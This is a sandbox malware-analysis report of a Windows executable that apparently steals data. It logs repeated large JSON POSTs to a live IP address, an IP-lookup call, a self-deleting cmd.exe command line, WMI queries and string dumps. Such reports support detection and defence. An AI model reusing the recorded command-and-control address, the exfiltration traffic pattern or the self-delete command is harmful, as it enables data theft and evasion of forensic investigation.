May 5, 2024 00:24:56.941421032 CEST	244	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 998 Host: 144.208.127.230
May 5, 2024 00:24:57.083237886 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:57 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:57.085170031 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1010 Host: 144.208.127.230
May 5, 2024 00:24:57.226768017 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:57 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:57.228637934 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1009 Host: 144.208.127.230
May 5, 2024 00:24:57.362283945 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:57 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:57.364016056 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1012 Host: 144.208.127.230
May 5, 2024 00:24:57.493560076 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:57 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:57.495294094 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1006 Host: 144.208.127.230
May 5, 2024 00:24:57.628474951 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:57 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:57.630544901 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1006 Host: 144.208.127.230
May 5, 2024 00:24:57.769421101 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:57 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:57.771349907 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1005 Host: 144.208.127.230
May 5, 2024 00:24:57.903383017 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:57 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:57.904882908 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1001 Host: 144.208.127.230
May 5, 2024 00:24:58.043065071 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:57 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:58.044924021 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1002 Host: 144.208.127.230
May 5, 2024 00:24:58.174956083 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:58 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:25:00.379357100 CEST	247	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 100842 Host: 144.208.127.230
May 5, 2024 00:25:01.263315916 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:25:01 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:25:02.593252897 CEST	246	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 29428 Host: 144.208.127.230
May 5, 2024 00:25:02.843919992 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:25:02 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:25:05.109874010 CEST	246	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 57241 Host: 144.208.127.230
May 5, 2024 00:25:05.286645889 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:25:05 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:25:07.037405968 CEST	248	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1270200 Host: 144.208.127.230
May 5, 2024 00:25:09.768264055 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:25:09 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49788	172.67.74.152	443	7132	C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-04 22:24:48 UTC	188	OUT	GET / HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: api.ipify.org
2024-05-04 22:24:48 UTC	211	IN	HTTP/1.1 200 OK Date: Sat, 04 May 2024 22:24:48 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 87ebe72dfc33395c-IAD
2024-05-04 22:24:48 UTC	12	IN	Data Raw: 31 35 34 2e 31 36 2e 34 39 2e 34 31 Data Ascii: 154.16.49.41

Target ID:	0
Start time:	00:23:27
Start date:	05/05/2024
Path:	C:\Users\user\Desktop\app.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\app.exe"
Imagebase:	0x400000
File size:	1'290'240 bytes
MD5 hash:	75B9EF9142A78671D449C8D22AB6BE14
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:23:27
Start date:	05/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7cb400000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:24:07
Start date:	05/05/2024
Path:	C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe"
Imagebase:	0x400000
File size:	1'290'240 bytes
MD5 hash:	75B9EF9142A78671D449C8D22AB6BE14
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 11%, ReversingLabs Detection: 11%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:24:07
Start date:	05/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7cb400000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:25:08
Start date:	05/05/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /c timeout /t 5 & del /f /q C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe && exit
Imagebase:	0x90000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:25:08
Start date:	05/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7cb400000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:25:08
Start date:	05/05/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 5
Imagebase:	0xd40000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.6%
Dynamic/Decrypted Code Coverage:	92%
Signature Coverage:	52.4%
Total number of Nodes:	1938
Total number of Limit Nodes:	41

Executed Functions

Function 02583ABA Relevance: 82.5, APIs: 43, Strings: 11, Instructions: 1522memoryCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 0258632F

Part of subcall function 025D96A2: CoInitializeEx.OLE32 ref: 025D96B8
Part of subcall function 025D96A2: CoInitializeSecurity.OLE32 ref: 025D96E4

HeapFree.KERNEL32(00000000,?), ref: 0258552A

Part of subcall function 0257A020: GetCommandLineW.KERNEL32 ref: 0257A05D

HeapFree.KERNEL32(00000000,?), ref: 0258400C
HeapFree.KERNEL32(00000000,?), ref: 025841A8

Strings

ptth, xrefs: 02584464
, xrefs: 0258515A
`async fn` resumed after completion, xrefs: 02585447, 0258545B, 0258546F
called `Result::unwrap()` on an `Err` value, xrefs: 02585425
Invalid, xrefs: 02584BB6
rc\unicode\printable.rs, xrefs: 02584031
a Display implementation returned an error unexpectedly, xrefs: 025853F7, 025862F4
nown, xrefs: 02584E88
hrzbaov, xrefs: 02583AD7
\index.crates.io-1cd66030c949c28d\base64-0.21.7\src\engine\general_purpose\decode.rs, xrefs: 025841BF
ptth, xrefs: 02584505

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$Initialize$CloseCommandHandleLineSecurity
String ID: $Invalid$\index.crates.io-1cd66030c949c28d\base64-0.21.7\src\engine\general_purpose\decode.rs$`async fn` resumed after completion$a Display implementation returned an error unexpectedly$called `Result::unwrap()` on an `Err` value$hrzbaov$nown$ptth$ptth$rc\unicode\printable.rs
API String ID: 4247911866-759402994
Opcode ID: 8faa4e2ac83d390d0596349de99da3c39a4acc53fdee3df431c385f249189adc
Instruction ID: e5e1b08113553f4f1d41d430e0ede974ece2652b22a05afa8447d3f9d02e6326
Opcode Fuzzy Hash: 8faa4e2ac83d390d0596349de99da3c39a4acc53fdee3df431c385f249189adc
Instruction Fuzzy Hash: 0DF29070A04782DFD725DF24C440B9AFBE1FF89304F108A1DE9999B261DB71A895CF86

Uniqueness

Uniqueness Score: -1.00%

Function 02591E40 Relevance: 61.5, APIs: 20, Strings: 13, Instructions: 3740memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 025CD430: GetProcessHeap.KERNEL32(00000000,?,025EFBF2,?,?,025BAA2A,?,?,?,?,025BA70C,?,?,?,0257161A,025DD2B0), ref: 025CD43F
Part of subcall function 025CD430: RtlAllocateHeap.NTDLL(00550000,00000000,00000014,00000000,?,025EFBF2,?,?,025BAA2A,?,?,?,?,025BA70C,?,?), ref: 025CD451

HeapFree.KERNEL32(00000000,?), ref: 02591FCF
GetSystemInfo.KERNEL32(?), ref: 0259200A
HeapReAlloc.KERNEL32(00000000,?,00000000), ref: 025922D4
HeapFree.KERNEL32(00000000,00000001), ref: 02594FE3

Part of subcall function 025C1BB0: QueryPerformanceCounter.KERNEL32(?), ref: 025C1BF7
Part of subcall function 025C1BB0: QueryPerformanceFrequency.KERNEL32(00000000), ref: 025C1C38

Part of subcall function 025D632B: AcquireSRWLockExclusive.KERNEL32(?,00000001,00000000,?,?,025D8053,00000000,026117FC,?,?,?,?,?,?,?,?), ref: 025D6335

HeapReAlloc.KERNEL32(00000000,?,00000001), ref: 025924D1
HeapFree.KERNEL32(00000000,?), ref: 025924EE
HeapFree.KERNEL32(00000000,?), ref: 02593146
HeapFree.KERNEL32(00000000,?), ref: 0259559D
HeapFree.KERNEL32(00000000,?), ref: 025955AE

Strings

thread name may not contain interior null bytes, xrefs: 02595224
TOKIO_WORKER_THREADS/registry\src\index.crates.io-1cd66030c949c28d\tokio-1.37.0\src\loom\std\mod.rs" cannot be set to 0, xrefs: 02591F5D
Invalid, xrefs: 02594DE9, 02595039, 02595065, 025951F2, 02595275, 025952C3, 0259540B, 02595437, 025954A5, 025954D1, 025954FD
attempt to calculate the remainder with a divisor of zero/rustc/25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04\library\core\src\slice\sort.rs, xrefs: 02594E83
cannot access a Thread Local Storage value during or after destruction/rustc/25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04\library\std\src\thread\local.rs, xrefs: 02595476, 0259551C
assertion failed: shared.shutdown_tx.is_some()/registry\src\index.crates.io-1cd66030c949c28d\tokio-1.37.0\src\runtime\blocking\pool.rs, xrefs: 025950F6
assertion failed: self.tail.is_none(), xrefs: 0259514B
assertion failed: prev.ref_count() >= 1, xrefs: 02595092
RUST_MIN_STACKfatal runtime error: assertion failed: thread_info.stack_guard.get().is_none() && thread_info.thread.get().is_none(), xrefs: 02592BEE
Failed building the Runtime, xrefs: 025951BA
failed to park thread, xrefs: 02595297
Failed to `Enter::block_on`, xrefs: 025950D6
driver missing, xrefs: 02595553

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: Heap$Free$AllocPerformanceQuery$AcquireAllocateCounterExclusiveFrequencyInfoLockProcessSystem
String ID: Failed building the Runtime$Failed to `Enter::block_on`$Invalid$RUST_MIN_STACKfatal runtime error: assertion failed: thread_info.stack_guard.get().is_none() && thread_info.thread.get().is_none()$TOKIO_WORKER_THREADS/registry\src\index.crates.io-1cd66030c949c28d\tokio-1.37.0\src\loom\std\mod.rs" cannot be set to 0$assertion failed: prev.ref_count() >= 1$assertion failed: self.tail.is_none()$assertion failed: shared.shutdown_tx.is_some()/registry\src\index.crates.io-1cd66030c949c28d\tokio-1.37.0\src\runtime\blocking\pool.rs$attempt to calculate the remainder with a divisor of zero/rustc/25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04\library\core\src\slice\sort.rs$cannot access a Thread Local Storage value during or after destruction/rustc/25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04\library\std\src\thread\local.rs$driver missing$failed to park thread$thread name may not contain interior null bytes
API String ID: 3999484873-2573687003
Opcode ID: d708b0dcf56937ee15ccf28e2f48e91b5d12b774c2812818d0815b01b1a0b0bb
Instruction ID: 5dadaaf43f8fada49bce537a6ddb0227d73ce3ef7f9289096a9a54077b272fd0
Opcode Fuzzy Hash: d708b0dcf56937ee15ccf28e2f48e91b5d12b774c2812818d0815b01b1a0b0bb
Instruction Fuzzy Hash: EE732A74600B018FDB25CF29C594BA6BBE2BF88304F14896DD9AA8B751DB31F846CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0259AA16 Relevance: 46.7, APIs: 24, Strings: 2, Instructions: 1215memorywindowCOMMON

Download Yara Rule

APIs

Part of subcall function 025D9760: CoCreateInstance.OLE32(026137A4,00000000,00000001,02613788,?,?,0259AA3A,0000000A), ref: 025D9781
Part of subcall function 025D9760: SysFreeString.OLEAUT32(00000000), ref: 025D97EC
Part of subcall function 025D9760: CoSetProxyBlanket.OLE32 ref: 025D981A

HeapFree.KERNEL32(00000000,?), ref: 0259B3D3
HeapFree.KERNEL32(00000000,?), ref: 0259B3EC
HeapFree.KERNEL32(00000000,?), ref: 0259B405
HeapFree.KERNEL32(00000000), ref: 0259B436
HeapFree.KERNEL32(00000000,00000004), ref: 0259B486
HeapFree.KERNEL32(00000000,?), ref: 0259B4A6
HeapFree.KERNEL32(00000000,?), ref: 0259B4BF
GetModuleHandleW.KERNEL32(?), ref: 0259B660
HeapFree.KERNEL32(00000000,?), ref: 0259B678
HeapFree.KERNEL32(00000000,?), ref: 0259B68D

Part of subcall function 025726A3: HeapFree.KERNEL32(00000000,?), ref: 02572714
Part of subcall function 025726A3: HeapFree.KERNEL32(00000000,?), ref: 0257275E

HeapFree.KERNEL32(00000000,?), ref: 0259B6B2
HeapFree.KERNEL32(00000000,?), ref: 0259B6D0
HeapFree.KERNEL32(00000000), ref: 0259B733
HeapFree.KERNEL32(00000000,00000004), ref: 0259B764
HeapFree.KERNEL32(00000000,?), ref: 0259B77D
HeapFree.KERNEL32(00000000,?), ref: 0259B796
HeapFree.KERNEL32(00000000,?,?,?,00000006,00000000,?,019DB1DE,00989680,00000000,?), ref: 0259B939
MessageBoxW.USER32(00000000,025C0AB0,0257CDE7,00000011), ref: 0259BA3F
HeapFree.KERNEL32(00000000,0257CDE7,?,?,00000006,00000000,?,019DB1DE,00989680,00000000,?), ref: 0259BA56
HeapFree.KERNEL32(00000000,?,?,?,00000006,00000000,?,019DB1DE,00989680,00000000,?), ref: 0259BA6F
HeapFree.KERNEL32(00000000,?,?,?,00000006,00000000,?,019DB1DE,00989680,00000000,?), ref: 0259BA9A
HeapFree.KERNEL32(00000000,?,?,?,00000006,00000000,?,019DB1DE,00989680,00000000,?), ref: 0259BAB3
HeapFree.KERNEL32(00000000,?), ref: 0259BCB0
HeapFree.KERNEL32(00000000,?), ref: 0259BCCA

Strings

ROOT\CIMV2, xrefs: 0259AA2E
hrono-0.4.38\src\format\mod.rs, xrefs: 0259B11A

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: Free$Heap$BlanketCreateHandleInstanceMessageModuleProxyString
String ID: ROOT\CIMV2$hrono-0.4.38\src\format\mod.rs
API String ID: 430375675-823739010
Opcode ID: 2668a0fa80cd7c7e0c0ccb7c5a2b05fe4e556ebbc743539ec630fbd4659d1e3f
Instruction ID: 0283ef7ed1b88327eb55b63b11b91fa43f5e2d29a4046fe9feb4cdaba8c5ac54
Opcode Fuzzy Hash: 2668a0fa80cd7c7e0c0ccb7c5a2b05fe4e556ebbc743539ec630fbd4659d1e3f
Instruction Fuzzy Hash: BAC27F71A083519FDB65DF18C4807AEBBE2FFC8304F05892DE98997390DB709949CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0259BD08 Relevance: 35.7, APIs: 11, Strings: 7, Instructions: 4163memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 025D9760: CoCreateInstance.OLE32(026137A4,00000000,00000001,02613788,?,?,0259AA3A,0000000A), ref: 025D9781
Part of subcall function 025D9760: SysFreeString.OLEAUT32(00000000), ref: 025D97EC
Part of subcall function 025D9760: CoSetProxyBlanket.OLE32 ref: 025D981A

Part of subcall function 025CD430: GetProcessHeap.KERNEL32(00000000,?,025EFBF2,?,?,025BAA2A,?,?,?,?,025BA70C,?,?,?,0257161A,025DD2B0), ref: 025CD43F
Part of subcall function 025CD430: RtlAllocateHeap.NTDLL(00550000,00000000,00000014,00000000,?,025EFBF2,?,?,025BAA2A,?,?,?,?,025BA70C,?,?), ref: 025CD451

SysFreeString.OLEAUT32(00000000), ref: 0259C457
SysFreeString.OLEAUT32(00000000), ref: 0259C474
SysFreeString.OLEAUT32(00000000), ref: 0259C492
HeapFree.KERNEL32(00000000,?), ref: 0259C4AE
HeapFree.KERNEL32(00000000,?), ref: 0259C69F
HeapFree.KERNEL32(00000000,?), ref: 0259C908
HeapFree.KERNEL32(00000000,?), ref: 0259C933
HeapFree.KERNEL32(00000000,?), ref: 025A015C

Part of subcall function 02581BFE: HeapFree.KERNEL32(00000000,?,?,?,00000000,?,02581E0B), ref: 02581C2B

Part of subcall function 025CC4E0: AcquireSRWLockExclusive.KERNEL32(02620B74), ref: 025CC566
Part of subcall function 025CC4E0: ReleaseSRWLockExclusive.KERNEL32(02620B74), ref: 025CC63D

HeapFree.KERNEL32(00000000,?), ref: 025A00A2
HeapFree.KERNEL32(00000000,?), ref: 025A00E2
HeapFree.KERNEL32(00000000,?), ref: 025A0182

Strings

WQL, xrefs: 0259C3F5
called `Result::unwrap()` on an `Err` value, xrefs: 025A01CC
66030c949c28d\base64-0.21.7\src\encode.rs, xrefs: 0259E8C4
wr%, xrefs: 0259ECF8
ROOT\CIMV2, xrefs: 0259BD20
sing field `, xrefs: 0259E7AF
d to index str up to maximum usize, xrefs: 0259E9EA

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: Free$Heap$String$ExclusiveLock$AcquireAllocateBlanketCreateInstanceProcessProxyRelease
String ID: 66030c949c28d\base64-0.21.7\src\encode.rs$ROOT\CIMV2$WQL$called `Result::unwrap()` on an `Err` value$d to index str up to maximum usize$sing field `$wr%
API String ID: 3721730025-2485361945
Opcode ID: 7e8059c2fd2bbff2fe57664ede1a733ebfdcd0cb8b96195f0899197eb2489f5d
Instruction ID: 0d41c6777fabfa63d29f2f78e12bda112a062703138528278dcc9428f545a489
Opcode Fuzzy Hash: 7e8059c2fd2bbff2fe57664ede1a733ebfdcd0cb8b96195f0899197eb2489f5d
Instruction Fuzzy Hash: DBA34C749087818BD725DF28C080AAAF7F2FFC9304F158A5DDAC947361DB359986CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0257A020 Relevance: 34.4, APIs: 17, Strings: 2, Instructions: 1112memoryCOMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32 ref: 0257A05D
HeapFree.KERNEL32(00000000,00000000), ref: 0257A5C3
HeapFree.KERNEL32(00000000,?), ref: 0257A5D4
HeapFree.KERNEL32(00000000,?), ref: 0257A687
HeapFree.KERNEL32(00000000,?), ref: 0257A6A1
HeapFree.KERNEL32(00000000), ref: 0257A86C
HeapFree.KERNEL32(00000000), ref: 0257ABDE
HeapFree.KERNEL32(00000000,?), ref: 0257AC68
HeapFree.KERNEL32(00000000,?), ref: 0257AC7F
HeapFree.KERNEL32(00000000,?), ref: 0257AC99
HeapFree.KERNEL32(00000000), ref: 0257AD27
HeapFree.KERNEL32(00000000,?), ref: 0257AD94
HeapFree.KERNEL32(00000000,?), ref: 0257ADAE
HeapFree.KERNEL32(00000000,?), ref: 0257ADC9
HeapFree.KERNEL32(00000000,?), ref: 0257ADE0
HeapFree.KERNEL32(00000000,?), ref: 0257AE03
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,025FF438,0260D02C), ref: 0257AEF1

Strings

Invalid, xrefs: 0257A811
a Display implementation returned an error unexpectedly, xrefs: 0257AE3C

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$CommandLine
String ID: Invalid$a Display implementation returned an error unexpectedly
API String ID: 10534037-4203860457
Opcode ID: e884e7428a15c2b9b0f53be4621f113463c89523ce64301062ce99077e4d70d3
Instruction ID: a830ca2d3c37a6643460c05a46cb33d156f6a91828e10267433266c0bdf43b20
Opcode Fuzzy Hash: e884e7428a15c2b9b0f53be4621f113463c89523ce64301062ce99077e4d70d3
Instruction Fuzzy Hash: 4EB226B5A40B018FD734CF29D580B6AF7E2BF98304F14892DD99A87A51EB71F885CB44

Uniqueness

Uniqueness Score: -1.00%

Function 025BE5F7 Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 345
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapReAlloc.KERNEL32(00000000,?,00000000), ref: 025BE914
HeapFree.KERNEL32(00000000,?), ref: 025BE95B
CreateMutexW.KERNEL32(00000000,00000000,?), ref: 025BE96B
GetLastError.KERNEL32(00000000,00000000,?), ref: 025BE972
HeapFree.KERNEL32(00000000,?), ref: 025BE9D1

Part of subcall function 025CD430: GetProcessHeap.KERNEL32(00000000,?,025EFBF2,?,?,025BAA2A,?,?,?,?,025BA70C,?,?,?,0257161A,025DD2B0), ref: 025CD43F
Part of subcall function 025CD430: RtlAllocateHeap.NTDLL(00550000,00000000,00000014,00000000,?,025EFBF2,?,?,025BAA2A,?,?,?,?,025BA70C,?,?), ref: 025CD451

CloseHandle.KERNEL32(00000000), ref: 025BE998
GetModuleHandleA.KERNEL32(api-ms-win-core-synch-l1-2-0,00000000,00000002), ref: 025BE9F7
